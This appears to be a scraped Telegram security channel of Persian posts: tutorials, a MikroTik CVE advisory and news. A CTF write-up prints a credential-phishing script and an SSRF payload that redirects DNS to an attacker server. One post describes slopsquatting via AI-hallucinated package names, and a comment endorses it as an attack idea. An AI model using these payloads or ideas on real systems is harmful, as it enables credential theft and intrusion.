ViperNułł
1.81K subscribers
105 photos
2 videos
30 files
147 links
ViperNull | Exploring the world of network security. Dive into cybersecurity with in-depth content on penetration testing, defensive strategies, vulnerability analysis, and powerful security tools.

Pv ; @Cintaxed
‌
Download Telegram
بلوغ SOC را با لایسنس‌ها و تجهیزات میلیاردی نمی‌سنجند!

در جلسات مشاوره، اغلب با یک پارادوکس آزاردهنده مواجه می‌شوم: سازمان‌هایی با بودجه‌های کلان که ویترینی از پیشرفته‌ترین ابزارهای امنیتی (SIEM، SOAR، EDR) را دارند، اما همچنان در برابر نفوذهای ساده آسیب‌پذیرند.

مدتی پیش در حال بررسی زیرساختی بودم که در نگاه اول، استانداردترین محیط Enterprise بود. ده‌ها داشبوردِ مملو از داده، مانیتورینگ ۲۴ ساعته و ترافیکِ مدیریت‌شده. اما وقتی به «قابلیت‌های شکار تهدید» (Threat Hunting) نگاه کردیم، یک خلأ عمیق وجود داشت.

مسئله کجاست؟
ما در صنعت امنیتِ کشور، بیش از حد درگیر «اجرای ابزار» (Tool Implementation) هستیم و «عملیات امنیت» (Security Operations) را فراموش کرده‌ایم.

به عنوان کسی که سال‌هاست در نقش مشاور، مدیر SOC و مدرس این حوزه فعالیت می‌کنم، این واقعیت را بارها دیده‌ام: تیم‌ها در گرداب Alert Fatigue غرق شده‌اند. روزانه صدها آلارم را بررسی می‌کنند، اما چون روی Detection Engineering و پیاده‌سازی لاجیک‌های اختصاصی (مبتنی بر MITRE ATT&CK) سرمایه‌گذاری نکرده‌اند، نفوذهای خاموش (Lateral Movements) یا رفتارهای غیرعادی در لایه‌های شبکه از چشمانشان پنهان می‌ماند.

یک واقعیت فنی که باید بپذیریم:

ابزارهای امنیتی، تنها «تولیدکننده سیگنال» هستند. اگر فرآیند پاسخ به رخداد (IR) و تواناییِ شکارِ تهدیدِ شما بالغ نباشد، ابزارها فقط «نویز» بیشتری برای شما تولید می‌کنند.

بلوغِ SOC، خرید لایسنس نیست؛

بلوغ یعنی هنرِ تبدیلِ داده‌های خام به «هوشِ عملیاتی». یعنی تیم شما بداند چگونه فرضیه (Hypothesis) بسازد، رفتار غیرعادی را در میان میلیون‌ها لاگ کشف کند و با یک فارنزیکِ دقیق، نفوذ را پیش از فاجعه متوقف کند.

یادمان باشد ابزار، خدمتکار تیم شماست؛ نه مدیر آن.


#SOC
#ThreatHunting
#DetectionEngineering
#BlueTeam
#IncidentResponse
❤2
رنج‌های IP خصوصی عبارت‌اند از:
10.0.0.0 تا 10.255.255.255
172.16.0.0 تا 172.31.255.255
192.168.0.0 تا 192.168.255.255
👍7
Live stream started
Live stream finished (2 hours)
سلاام دوباره آقا امشب اومدیم یه رایتاپ میشه گفت خوب که مربوط به nahamcon هست بزاریم امیدوارم لذت ببرین

توی شروع کار ما اول یه سورس داریم که توی آدرس https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6 هستش :
<script async src="https://www.googletagmaneger.com/gtag/js?id=UA-978312237-6"></script>
<script>
    window.dataLayer = window.dataLayer || [];
    function gtag(){dataLayer.push(arguments);}
    gtag('js', new Date());
    gtag('config', 'UA-978312237-6');
</script>

بعد از رفتن به صفحه سورسش یه فایل js  داریم که کد زیر داخلشه :
var bb = 'lo';
var cd = 'Btn';
var ccr = 'gin';

document.getElementById(bb + ccr + cd).addEventListener("click", function() {
    var a_1 = 'htt';
    var a_2 = 'ps://';
    var a_3 = 'hac';
    var a_4 = 'kboo';
    var a_5 = 'kag';
    var a_6 = 'ram';
    var a_7 = '.c';
    var a_8 = 'om/';
    var a_9 = 'log';
    var a_10 = 'in';

    var e = new XMLHttpRequest;
    e.open("POST", a_1 + a_2 + a_3 + a_4 + a_5 + a_6 + a_7 + a_8 + a_9 + a_10, true);
    e.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    e.onload = function() {
        var t = JSON.parse(e.responseText);
        if (console.log(), 201 == e.status) {
            var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
            document.body.innerHTML = document.body.innerHTML + '';
            window.location = t[0];
        } else {
            alert(t[0]);
        }
    };
    e.send("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);
    event.stopImmediatePropagation();
});

بخش مهمی که این کد داره اینه که برنامه نویس اومده از bota  برای base64 کردن username password  استفاده کرده و اینا به این آدرس ارسال میشن https://www.googletagmaneger.com/event?e=‘ + n + ‘
کدی که دربارش حرف زدیم :
var n = btoa("username=" + document.getElementById("username").value + "&password=" + document.getElementById("password").value);

توی اینجا معمولاxss جوابه و رفتیم تو کارش و چون مرورگر ما کروم هدلس بود پس یکم خیالمون راحت شد که میتونه جاوااسکریپت پردازش کنه و به صورت زیر بود:
178.62.61.49 - - [14/Jun/2020:16:36:45 +0000] "GET /imgtest HTTP/1.1" 404 3807 "https://www.googletagmaneger.com/view/a3e4ddefccd4d6ba506febedef7ccbc3" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/83.0.4103.97 Safari/537.36"

در اینجا اومدیم و با img tag  xss  پیاده کردیم ولی به چیز خاصی نرسیدیم و کوکی و داده خاصی بهمون برگشت داده نمی شد . بعد یه مقدار ریکان رسیدیم به آیپی http://178.62.61.49 و الان یه سورس جدید توی این آدرس برای برسی داشتیم به نام public.js  که سورسش رو توی بخش پایین میزارم:
$('.connection-test').click(function() {
    $.post('/connection-test', { node: 'us1' }, function(resp) {
        $('.connection-result').html('<div class="alert alert-success"><p>' + resp + '</p></div>');
    }).fail(function(resp) {
        $('.connection-result').html('<div class="alert alert-danger"><p>' + resp.responseJSON[0] + '</p></div>');
    });
});

شمام فکر کنم وقتی مقدار connection  و node میبینید دلتون میره سمت ssrf پس میریم که تستش کنیم که درخواست ما به این شکل بود:
POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1

و ریسپانس 200 دریافت کردیم :
<div><input class="form-control" name="i_username" value="6422451584@fasternetbb.dsl"></div>
<div><input class="form-control" type="password" name="i_password" value="Bpi5!9fiLeikmeHmN"></div>
<div><input class="form-control" name="dns_server" value="8.8.8.8"></div>
<script src="/js/private.js"></script>

محتوای داخل 192.168.1.1 که اگه دقت کنیم یه private.js میبینیم که به شکل زیر بوده :
`

JS
$('.setConnection').click(function() {
    var username = $('input[name="i_username"]').val();
    var password = $('input[name="i_password"]').val();
    $.get('/set/connection?username=' + username + '&password=' + password, function(resp) {
        alert(resp);
    });
});

$('.setDN
❤3🙏1
S').click(function() {
    var server = $('input[name="dns_server"]').val();
    $.get('/set/dns?server=' + server, function(resp) {
        alert(resp);
    });
});


توی این بخش اگه بتونیم SET/DNS کنترل کنیم میشه گفت عملا میتونیم به ترافیک دسترسی داشته باشیم پس توی این بخش با استفاده از این کد یه dns server  راه انداختیم https://gist.githubusercontent.com/pklaus/b5a7876d4d2cf7271873/raw/cb089513b185f4128d956eef6e0fb9f5fd583e41/ddnsserver.py
و روی پورت 443 با netcat  روی لیستن میزاریم : ncat -lv 443 و توی بخش بعدی این درخواستو ارسال میکنیم:

POST /connection-test HTTP/1.1
Host: 178.62.61.49
...
node=192.168.1.1/set/dns?server=173.230.148.69#

در نتیجه درخواست به سرور ما میومد ولی چون ssl  بود و ما گواهیشو نداشتیم یه مشت چرندیاتو میدیدیم و با رفتن به بخش اول که شروع کردیم و یه مقدار گشتن به اینurl  میرسیم https://www.googletagmaneger.com/event?include=asdf که یه خطای xdebug به ما نشون داد و خطا نشون دهده LFI بود ولی کاراکتر های @ , / توی بلک لیست بودن و با استفاده از آیپی خود سایت با یه مقدار fuzz به این بخش رسیدیم http://142.93.46.249/datacollection/ssl/ و الان ssl داشتیم و کدی که اون بالا بود اجرا کردیم :
python3 dns.py --port 53 –udp
و بعد این دستورو به netcat  اضافه کردیم:
ncat -lv 443 --ssl-cert=/home/CTF/certs/fullchain.pem --ssl-key=/home/CTF/certs/privkey.pem
و بعد همون درخواستو تکرار کردیم و تماممم SSRF و ترافیکو گرفتیم و کارو جمع کرد
Ncat: Connection from 178.62.61.49:50284.
GET /api/poll HTTP/1.1
Host: www.googletagmaneger.com
User-Agent: curl/7.58.0
Accept: */*
X-Token: 779549E7865D034D9A9DB34401DA2157

بعد هم با یه مقدار fuzz به بخش /api/cookie رسیدیم و با ارسال درخواست به این بخش تونستیم کوکی معتبر رو دریافت کنیم:
HTTP/1.1 200 OK
...
{"description":"Login Cookie","data":"NzQ1NWYxYmJkYzczM2YwYTkzMzg2MjE5MmIxNTFhN2VlNGI0NmQyM2EwYjNlMzBiMzc3NGE2NTVhYzE5MzBiMDE1MWY2NGQ5MzE1ZjJhZmEzY2VlYTcyZDFlNjNmMjQ3YTZhNTQzM2U1ODBjOWIzZGJhYWQyMmNiZTcxYzU5NTA="}
`

و در نهایت این کوکی برای سایت اول ست میکنیم و flag به دست میاریم.

https://buer.haus/2020/06/14/nahamcon-trash-the-cache-write-up-web-1000/

@S3cForge
https://t.me/ViperNull
❤4👎1
🤖 گوگل رسماً قاعده بازی رو به هم ریخت!

مدل جدید Gemini 3.8 Flash از راه رسیده و بر اساس داده‌های بنچمارک، عملاً با سنگین‌وزن‌ترین و گران‌ترین غول‌های بازار مثل Claude Opus 5 و GPT-5.6 Sol شاخ‌به‌شاخ شده؛ اونم با قیمتی که رقبا رو مات و مبهوت کرده.
شاهکار کدنویسی و تخصص؛ فراتر از یک مدل فلش.

توی مهندسی نرم‌افزار پیشرفته DeepSWE v1.1، این مدل امتیاز دیوانه‌وار ۷۳.۷ درصد رو ثبت کرده که تقریباً مماس با Claude Opus 5 با ۷۴.۰ درصد و بالاتر از GPT-5.6 Sol با ۷۲.۷ درصد قرار می‌گیره. ماجرا فقط به کدنویسی ختم نمی‌شه:

کارهای تخصصی و تحلیل: در حوزه تحلیل مالی با ۶۱.۴ درصد و در گردش‌کارهای حقوقی با ۱۰.۰ درصد، تمام رقبای حاضر در جدول از جمله غول‌های Claude و GPT را شکست داده است.

مولتی‌مدیا و درک ویدیو: در تحلیل ویدیوهای طولانی (LVBench) به امتیاز ۸۷.۸ درصد رسیده و در استدلال روی چارت‌های پیچیده با ۸۶.۲ درصد در صدر ایستاده است.

علوم زیستی و آزمایشگاهی: در تحقیقات بیولوژی با ۸۶.۲ درصد قدرتمندتر از تمامی گزینه‌های جدول ظاهر شده است.

برگ برنده اصلی Gemini 3.8 Flash جاییه که کارایی را کنار فاکتور هزینه می‌گذارید. گوگل تا ۳۱ دسامبر ۲۰۲۶ روی این مدل تخفیف چشمگیری گذاشته است:

ورودی: فقط ۰.۷۵ دلار به ازای هر ۱ میلیون توکن (قیمت عادی ۱.۵۰ دلار)؛ در مقایسه با ۵.۰۰ دلار Opus 5 و ۴.۰۰ دلار GPT-5.6 Sol!

خروجی: فقط ۳.۷۵ دلار به ازای هر ۱ میلیون توکن (قیمت عادی ۷.۵۰ دلار)؛ در حالی که برای Opus 5 باید ۲۵.۰۰ دلار و برای GPT-5.6 Sol باید ۲۰.۰۰ دلار بپردازید.

رسیدن به عملکرد پرچم‌دارها با حدود یک‌ششم قیمت، Gemini 3.8 Flash رو رسماً به خوش‌قیمت‌ترین غول هوش مصنوعی بازار تبدیل می‌کنه.

#AI
✅ Channel
💬 Group
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from ⚔️ Ethical Hacking ⚔️ (M.hosein)
🔴 NetFlow چیست؟
فناوری‌ای برای جمع‌آوری اطلاعات درباره جریان‌های ترافیکی شبکه است.

برای درک NetFlow، یک مثال ساده بزنیم.

فرض کنید اینترنت یک شرکت ناگهان بسیار کند شده است.

با استفاده از SNMP ممکن است متوجه شویم که یک Interface ترافیک بسیار زیادی دارد.
اما یک سؤال مهم باقی می‌ماند:
🤔این ترافیک را چه سیستمی ایجاد کرده است؟

اینجاست که NetFlow اطلاعات بیشتری در اختیار ما قرار می‌دهد.

NetFlow می‌تواند به ما کمک کند بفهمیم:

• Source IP چه سیستمی بوده؟
• Destination IP چه بوده؟
• از چه Portاستفاده شده؟
• چه Protocolای استفاده شده؟
• چه مقدار داده منتقل شده؟
• ارتباط چه مدت ادامه داشته است؟
• چه تعداد Packet در این جریان وجود داشته است؟

به این اطلاعات معمولاً Flow Record گفته می‌شود.

🌐 Flow دقیقاً یعنی چه؟

در NetFlow معمولاً به‌جای اینکه محتوای تک‌تک Packetها را ذخیره کنیم، درباره یک جریان ارتباطی اطلاعات جمع‌آوری می‌کنیم.

مثلاً ممکن است یک Flow مربوط به ارتباط یک سیستم داخلی با یک Server خارجی باشد.

🔍اطلاعاتی مانند IP مبدأ، IP مقصد، Portها، Protocol و حجم ترافیک می‌توانند به ما کمک کنند بفهمیم این ارتباط چه ویژگی‌هایی داشته است.

اما یک نکته بسیار مهم:

✅درNetFlow معمولاً محتوای واقعی Packet را بررسی یا ذخیره نمی‌شود.

یعنی اگر یک سیستم مقدار زیادی داده ارسال کرده باشد، NetFlow می‌تواند اطلاعات مربوط به آن جریان را نشان دهد، اما لزوماً محتوای آن داده‌ها را به ما نشان نمی‌دهد.

برای بررسی محتوای Packetها، فناوری‌ها و ابزارهای دیگری مانند Packet Capture مورد استفاده قرار می‌گیرند.


🔎 NetFlow چه کمکی به امنیت می‌کند؟

فرض کنید یک سیستم داخل شبکه در مدت کوتاهی حجم بسیار زیادی ترافیک به یک مقصد خارجی ایجاد کند.

❌این اتفاق به‌تنهایی ثابت نمی‌کند که سیستم مورد حمله قرار گرفته یا اطلاعات سرقت شده است.

اما می‌تواند یک نشانه قابل بررسی باشد.

🔵تیم امنیت می‌تواند با استفاده از اطلاعات Flow بررسی کند:

• این سیستم متعلق به چه کاربری است؟
• مقصد خارجی چیست؟
• چه Portی استفاده شده؟
• حجم ترافیک چقدر بوده؟
• آیا این رفتار قبلاً هم اتفاق افتاده است؟
• آیا سیستم‌های دیگری نیز رفتار مشابهی دارند؟

🟢به همین دلیل NetFlow می‌تواند در Network Monitoring، Troubleshooting و Security Monitoring کاربرد داشته باشد.

مارو به دوستاتون معرفی کنین.

🔹 Instagram: s.teymouri93

🔹 Telegram: @Sajjad_Teymouri

🔹https://www.youtube.com/@Sajjad_Teymouri
خب سلام چطورین؟
امروز میخوایم ببینیم FD چی هستش و اصلا syscall ها چطور کار میکنن؟؟
یک File Descriptor یا FD تو کرنل لینوکس یک عدد صحیح غیر منقی هستش که به عنوان یک شناسه برای یک  Open Resource در یک فرآیند عمل می‌کنه و  یه جمله که همیشه درباره لینوکس میگن اینه که همه چیز یک فایل است پس FD می‌تونه به انواع مختلفی از منابع اشاره کنه: یک فایل معمولی روی دیسک، یک دایرکتوری، یک پایانه ترمینال، یک سوکت شبکه، یک pipe یا حتی یک دستگاه سخت‌افزاری.
توی کرنل هر پراسس یک file descriptor table داره که مثل یه آرایه عمل میکنه و این جدول هر عدد صحیح به ساختار داخلی به نام struct file تبدیل میکنه . struct file حاوی تموم اطلاعات مورد نیاز کرنل برای مدیریت اون ریسورس هستش که برای read , write , open استفاده میشه . یکم بخوایم دیپ بشیم زمانی این FD میاد رو کار که این (path)OPEN اگه این بخش false باشه خب exit میشه ولی در غیر این صورت اگه درست باشه میاد و یه عدد میگیره که 3 تاشون خیلی معروفن و رزرو شده هستن => 0 و 1و2 => STDIN , STDOUT , STDERR که توی کد پایین نمونش رو داریم میبینیم:
#include <stdio.h>
#include <fcntl.h>    
#include <unistd.h>   
#include <errno.h>    
#include <string.h>   

int main() {

    int fd = open("test.txt", O_RDONLY | O_CREAT, 0644);
    if (fd == -1) {
        printf("err: %s\n", strerror(errno));
        return 1;
    }
    printf("success! FD: %d\n", fd);
   

    close(fd);
    printf("closed.\n");
   
    return 0;
}

اینجا ما یه syscall داریم که ()open هستش . بخش بعدی مربوط به O_RDONLY هستش که یعنی فقط دسترسیمون درحد خوندن باشه و O_CREAT هست که اگه فایل مورد نظر موجود نبود ساخته بشه.0644 هم منظورش دسترسی سازنده فایل هستش که فقط مالک دسترسی read , write داره و بقیه فقط Readonly هستش.
تا اینجا حدودی با FD , دلیل وجود و کاربردش  و ... اشنا شدیم و الان بریم سر وقت syscall.
در واقع syscall یه مترجم یا بخوام خیلی بخوام مرامی بگم API بین  user space , kernel space هستش . userspace بخوام بگم یه محیطی هستش که حالا وب سرور ها و ادیتورها و ... توی اون بخش اجرا میشن و یه بخش محدود هستش و دسترسی کامل به فضای آدرس دهی نداریم و دسترسیمون به سخت افزار خیلی محدوده. kernel space میشه گفت همه چیز زیر دستشه و میتونه کنترلشون کنه مثل حافظه و سخت افزار و ... و ارتباط مستقیم با cpu , ram داره و دسترسی نا محدود به منابع کل سیستم داره.
برنامه هایی که توی userspace هستن برای برای انجام کارشون نیاز به kernlspace دارن که syscall میاد وسط مثل fork , kill , ioctl , getpid , ...
خب اصلا ساختار syscall چطوریه و چی هستش؟
ببین ادرس دهی توی x86-x64 لینوکس برای انجام یه syscall از دستور syscall استفاده میشه و قبل از اجرای این دستور رجیستر ها به ترتیب زیر ادرس دهی میشن :
RAX => شماره syscall(میتونین با دستور ausyscall شماره syscall ها و عدد هاشونو ببینید.)
بقیه رجیستر ها rdi , rsi , rdx , r10 , r8 , r9 متغیر هارو میگیرن و تمام. اگه خطایی رخ بده rax منفی میشه (مثلاً -1) و errno توی یه جای دیگه ذخیره میشه.
اینجا میخوایم یه hello world رو write کنیم با ساختار خودش تا کامل این بخش هم درک کنیم:

section .data
    msg db 'Hello, World!', 0x0A 
    len equ $ - msg               

section .text
    global _start

_start:
    ; Syscall write
    mov rax, 1        
    mov rdi, 1         
    mov rsi, msg       
    mov rdx, len      
    syscall           
   
    mov rax, 60        
    mov rdi, 0        
    syscall            

خب توی این بخش RAX برابر 1 شده که منظورش syscall write هستش rdi هم 1 هست که منظورش STDOUT هست بخش rsi برابر hello world و بخش rdx هم برابر len هست و این کد میتونین با دستور:
nasm -f elf64 hello.asm -o hello.o
ld hello.o -o hello
./hello

اجراش کنین.
امیدوارم لذت برده باشین.
@S3cForge
https://t.me/ViperNull
❤4
Forwarded from NSEs (8)
Forwarded from NSEs (8)
NSEs
Photo
❗️تیم CERT Polska شش اسیب پذیری روی میکروتیک پیدا کرده با دوتا از این اسیب پذیری ها بدون احراز هویت فقط با داشتن دسترسی به پورت SSH کنترل کامل تجهیزات Mikrotik RouterOS رو به دست گرفت و سطح دسترسی خودمون رو به Full admin برسونیم،ادمین ها و مهندس های شبکه به شدت جدی بگیرنش چون به شدت در حال بهره برداری هستش .(CVE-2026-67276 / CVE-2026-86060)
اقدامات فوری هم برای ایمن سازی :

1-به روز رسانی سریع به یکی از نسخه ها امن شده (7.25beta3 | 7.24.2 | 7.23.4 | 6.49.21)

2-دسترسی به سرویس های SSH، WebFig (WWW) و Bandwidth-test تا زمانی که به روزرسانی بکنید از سمت اینترنت مسدود کنید

3-IOCs لاگ هارو برسی کنید دنبال خطاهای مشکوک باشید
login failure for user -2 from <IP> via ssh
user <name> added by ssh:-2@<IP>

بررسی وضعیت Flagged: اجرای دستور /system/device-mode/print در ترمینال؛ مشاهده مارکر Flagged نشان‌دهنده نفوذ قبلی و تغییر کانفیگ توسط سیستم‌عامل است. (توجه: عدم وجود این مارکر به معنی امن بودن مطلق نیست!)

ایپی مهاجم هایی که تا الان دیتکت شده :
82.192.72.4
103.102.31.18

POC :https://github.com/dinosn/mikrotrick-poc
فعلا برسی نکردم که ایا فقط یه اسیب پذیری هستش یا Chain شده تا دسترسی full admin بگیره

Sources
https://cert.pl/en/posts/2026/09/vulnerabilities-in-mikrotik-routeros-actively-exploited/
https://cybersecuritynews.com/mikrotik-routeros-vulnerability/
https://thehackernews.com/2026/09/attackers-hijack-mikrotik-routers.html
https://github.com/dinosn/mikrotrick-poc

➖➖➖➖➖
CHANNEL
❤3
Forwarded from Saeed Kazemi
ه ثانیه دیر جنبیده بودم، جای نوشتن این پست داشتیم یه فاجعه امنیتی ناشی از AI رو جمع میکردیم.
چند وقت پیش داشتم کدی رو که AI نوشته بود، قبل از دپلوی review میکردم. توی importها یه پکیج به چشمم خورد که یهجوری بود.
همه چی تقریبا منطقی به نظر میرسید. اسمش دقیقا همون الگوی سایر پکیجها رو داشت اما تا حالا جایی ندیده بودمش.

به تیم گفتم دست نگه دارن، کار روی پروداکشن نره. برگشتم روی استیج تا از ریشه بررسیش کنم.

مدل AI فقط از روی توهم، یه اسم قانعکننده برای خودش ساخته بود؛ دقیقا مثل وقتی که با همون اطمینان یه فکت یا آمار جعلی تحویل میده. به این پدیده میگن هالوسینیتکردن. AI چیزی رو با اطمینان کامل تولید میکنه که یا نادرسته یا اصلا وجود نداره.

پکیج رو سرچ کردم و موضوع عجیبتر شد. فهمیدم قضیه از یه اسم ساختگی خیلی فراتره...
همون اسم، چند ماه قبل توسط یه ناشناس ثبت شده بود. README و توضیح نداشت. فقط یه پکیج مخرب که منتظر بود من، یا هر کس دیگهای توی یه محیط فینتک بدون بررسی accept بزنه و نصبش کنه.

اگه شک نکرده بودم، الان داشتم با یه پروسهی کاملا متفاوت سر و کله میزدم. کنار تیم امنیت، دنبال این میگشتیم که مهاجم تا کجا نفوذ کرده، چه سرویسهایی رو تحت تاثیر قرار داده و چی از دیتای حساسمون بیرون رفته.

با یه مقدار تحقیق متوجه شدم این یه اتفاق تصادفی نیست. این اسم های ساختی الگو دارن. وقتی AI هالوسینیت میکنه، معمولا اسمهای تکراری میسازه.

و دقیقا همینجا مهاجم وارد میشه. لازم نیست اسم پکیجها رو حدس بزنه. کافیه خروجی مدلهای AI رو زیر نظر بگیره، ببینه کدوم اسم جعلی بیشتر تکرار میشه و همون اسم رو زودتر از همه ثبت کنه. بعدش کافیه داخل اون پکیج، کد خودش رو بنویسه.
دقیقا همون چیزی که من داشتم.

به این حمله میگن Slopsquatting. نسبتا جدیده و از محصولات عصر AIه 😂
تکاملیافتهی typosquatting قدیمیه، فقط این بار بهجای اشتباه تایپی کاربر، از اشتباه هوش مصنوعی سواستفاده میکنن.

یه نمونهی خیلی معروف هم داره. پکیج جعلی به اسم "huggingface-cli" رو یکی ثبت کرد. فقط چون AI مدام اسمش رو پیشنهاد میداد. بیش از 30 هزار بار دانلود شد.

نکتهای که این حمله رو خطرناکتر از یه باگ معمولی میکنه اینه که توی کد ریویو دنبال باگ منطقی میگردیم، نه دنبال اینکه اسم پکیج import شده واقعا وجود داره یا نه. اعتماد به AI، دقیقا همون نقطهکوریه که این حمله ازش سواستفاده میکنه.
👍5
Forwarded from GO-TO CVE
ViperNułł
ه ثانیه دیر جنبیده بودم، جای نوشتن این پست داشتیم یه فاجعه امنیتی ناشی از AI رو جمع میکردیم. چند وقت پیش داشتم کدی رو که AI نوشته بود، قبل از دپلوی review میکردم. توی importها یه پکیج به چشمم خورد که یهجوری بود. همه چی تقریبا منطقی به نظر میرسید. اسمش دقیقا…
این از اقای کاظمی از گروه Defsec فوروارد کردم واقعا چند تا ایده باحال برای حمله به شرکت ها میده کافیه ببنید که کدوم شرکت ها وایب کدر دارن به جای برنامه نویس قدیمی اینجوری خیلی قشنگ میشه بهشون نفوذ کرد ( از متن ایده گرفتم جالب بود )
👍3
سوال شما:
اگر VLAN می‌زنیم، پس چرا دوباره Inter-VLAN Routing می‌کنیم؟! 🤔
.
.
.
پاسخ من:
اینجا دقیقاً یه نکته مهم شبکه وجود داره. این VLAN در اصل شبکه رو در Layer 2 جدا می‌کنه. هر VLAN یک Broadcast Domain جدا ایجاد می‌کنه یعنی اگر یک سیستم در VLAN 10 یک Broadcast بفرسته، این Broadcast قرار نیست همین‌طوری بره داخل VLAN 20.

سیسکو هم دقیقاً VLAN رو به‌عنوان یک تقسیم‌بندی لاجیکال یا منطقی در Layer 2 و ایجاد Broadcast Domainهای جدا توضیح می‌ده.
پس:

VLAN 10
─────
PC1
PC2
PC3
با:
VLAN 20
──────
PC4
PC5
Server
از دید Layer 2، این دو تا دو شبکه جدا هستن.

حالا مشکل کجاست؟
فرض کن PC داخل VLAN 10 می‌خواد با Server داخل VLAN 20 صحبت کنه. این دیگه ارتباط داخل یک VLAN نیست و مقصد در یک شبکه Layer 3 متفاوت قرار داره.
پس Switch لایه 2 نمی‌تونه همین‌طوری Frame رو از VLAN 10 برداره و پرت کنه داخل VLAN 20.

سیسکو صراحتاً می‌گه ارتباط بین VLANهای مختلف نیاز به یک Layer 3 routing device داره. اینجاست که Inter-VLAN Routing وارد داستان می‌شه.

حالا Router یا یک Layer 3 Switch میاد وسط.
مثلاً:

VLAN 10
10.10.10.0/24

L3 Device

VLAN 20
10.10.20.0/24

این PC در VLAN 10 می‌گه:
مقصد من توی شبکه خودم نیست.

پس Packet رو به Default Gateway خودش می‌ده و Gateway، Packet رو در Layer 3 Route می‌کنه و از Interface مربوط به VLAN 20 خارجش می‌کنه.

یعنی ما VLANها رو دوباره یکی نکردیم که این خیلی مهمه و ما نگفتیم:
خب VLAN 10 و 20 رو بی‌خیال، همه با هم رفیق باشن!😂
اوکی؟!
هنوز:
VLAN 10 ≠ VLAN 20
و Broadcast Domainها همچنان جدا هستن که فقط یک مسیر Layer 3 کنترل‌شده بینشون ایجاد کردیم.

و این دقیقاً یکی از دلایل مهم VLANهاست چون حالا می‌تونیم بگیم:
کاربرها اجازه دارن به Serverها دسترسی داشته باشن، ولی مثلاً به Management Network نه!

حتی می‌تونیم روی مسیر بین VLANها ACL بذاریم و مشخص کنیم چه ترافیکی اجازه عبور داشته باشه. سیسکو هم Inter-VLAN Routing رو در کنار قابلیت‌هایی مثل ACL برای کنترل ارتباط بین بخش‌های مختلف شبکه مطرح کرده.

پس VLAN برای Segmentation است و Inter-VLAN Routing برای Communication بین آن Segmentها است.

حالا جمله‌ای که باید یادت بمونه:

اینه که VLAN می‌گه: شما از هم جدا هستید.

و Routing می‌گه: ولی اگر لازم شد، با قوانین مشخص می‌تونید با هم حرف بزنید.
و این دوتا اصلاً متناقض نیستن.

اتفاقاً اگر Routing نباشه، VLANها واقعاً از Layer 3 همدیگه جدا می‌مونن.

پس دفعه بعدی که دیدی:
VLAN 10
↕
Inter-VLAN Routing
↕
VLAN 20
نگو:
خب پس VLAN چه فایده‌ای داشت؟
بگو:
این VLAN مرز می‌سازه و Routing دروازه می‌سازه و اینکه از این دروازه چه کسی، به کجا و با چه قوانینی رد بشه، دیگه داستان طراحی شبکه‌ست. حله؟ 😀
.
.
.
کانال تلگرام:

T.me/RezaKianiSam_Channel
آیدی تلگرام من:

T.me/RezaKianiSam
پیج اینستاگرام من:

Instagram.com/reza_kianisam
👍1🔥1
🔴اطلاعات کاربران JumpJump تو دارک وب برای فروش گذاشته شده؟

گزارش‌هایی منتشر شده که ادعا میکنن اطلاعات کاربران فیلترشکن JumpJump، که تو دوره قطعی گسترده اینترنت خیلی معروف شد، تو دارک وب واسه فروش گذاشته شده.
گفته شده این اطلاعات شامل چیزهای حساسی مثل پسوردها، اطلاعات کارت بانکی و حتی اطلاعات کیف‌پول‌های دیجیتال بوده و نمونه‌هایی از این داده‌ها هم داخل فایل فروش دیده میشه.
بررسی تخصصی Tom's Guide(وب‌سایت معتبر آمریکایی) در ژانویه ۲۰۲۶ نشون میداد که این VPN شفافیت بشدت پایینی داره، ممیزی امنیتی مستقلی ارائه نمیکنه، پروتکل رمزنگاری‌اش رو به‌وضوح اعلام نمیکنه و سیاست ثبت داده‌هایی هم که داره بشدت مبهم هستش.
اما فعلاً هیچ شرکت معتبر امنیت سایبری یا منبع مستقل، اصل این دیتابیس و سرقت اطلاعات رو تایید نکرده

https://t.me/ViperNull
👍2👎1🔥1
Forwarded from SecForge (EPOCLYC)
رتبه چهارمو گرفتیم ولی این وسط خیلیا حرکتای عجیبی در آوردن😉
❤9
خب سلام اومدیم یه مقدار درباره execve یه توضیح بدیم که احتمالا همتون وقتی یکم با strace کار میکنین این syscall میبینید . کارش بخوام خیلی کوتاه بگم اینه که میاد یه image  پروسه فعلی رو با یه برنامه جدید جایگزین میکنه . شاید بگی عین fork هست ولی نه توی این عمل process جدید درست نمیشه بلکه همونه ولی فقط اون برنامه ای که درحال اجرا بود جایگزین میشه و یه برنامه جدید اجرا میشه .
سینتکسش هم به صورت زیره:
int execve(
    const char *pathname,
    char *const argv[],
    char *const envp[]
);

pathname خب مربوط به مسیر اون فایل اجرایی هست که میخوایم توی پراسس فعلی اجرا بشه /bin/ls
argv هم مربوط به آرگومان هایی هست که اون فایل اجرایی ما میگیره مثلا ss -t
envp هم مربوط به اون متغیر های Environment هستش.

بخوایم الان با توجه به توضیحایی که بالا دادیم این بخشا رو پر کنیم به صورت زیر در میاد
execve("/bin/ls", args, env);

حالا برای مثال اگه بخوایم  ls -la بگیریم متغیر args باید به صورت زیر پر کنیم :
char *args[] = {
    "ls",
    "-l",
    "/home",
    NULL
};

اینم یادتون باشه آخر آرایه هم باید با NULL پر بشه که سیستم بفهمه آرگومان ها کجا به اتمام میرسند .
در واقع اینطوریه :
./main_program:
#include <stdio.h>
#include <unistd.h>

int main()
{
    char *args[] = {
        "program2",
        "hello",
        "world",
        NULL
    };
    printf("Before execve\n");
    execve("./program2", args, NULL);
    printf("After execve\n");
    return 0;
}

./program2:
#include <stdio.h>

int main(int argc, char *argv[])
{
    printf("I am program2\n");
    printf("argc = %d\n", argc);
    for (int i = 0; i < argc; i++)
    {
        printf("argv[%d] = %s\n", i, argv[i]);
    }
    return 0;
}

خب توی این بخش میاد آرگومان های داده شده توی برنامه اول رو در برنامه دوم به نمایش میزاره و میشه گفت تمام کاری که میکنه همینه .یه نکته دیگه هم اینه که pid این برنامه اگه 100 بار این وسط برنامه جدید با execve  بیاد وسط عوض نمیشه و جدا از اون وقتی یه برنامه جدید با execve اجرا میشه ادامه کدی که توی برنامه اول داریم اجرا نمیشه مگر اینکه به خطا بخوریم توی اجرا کردن برنامه دوم .
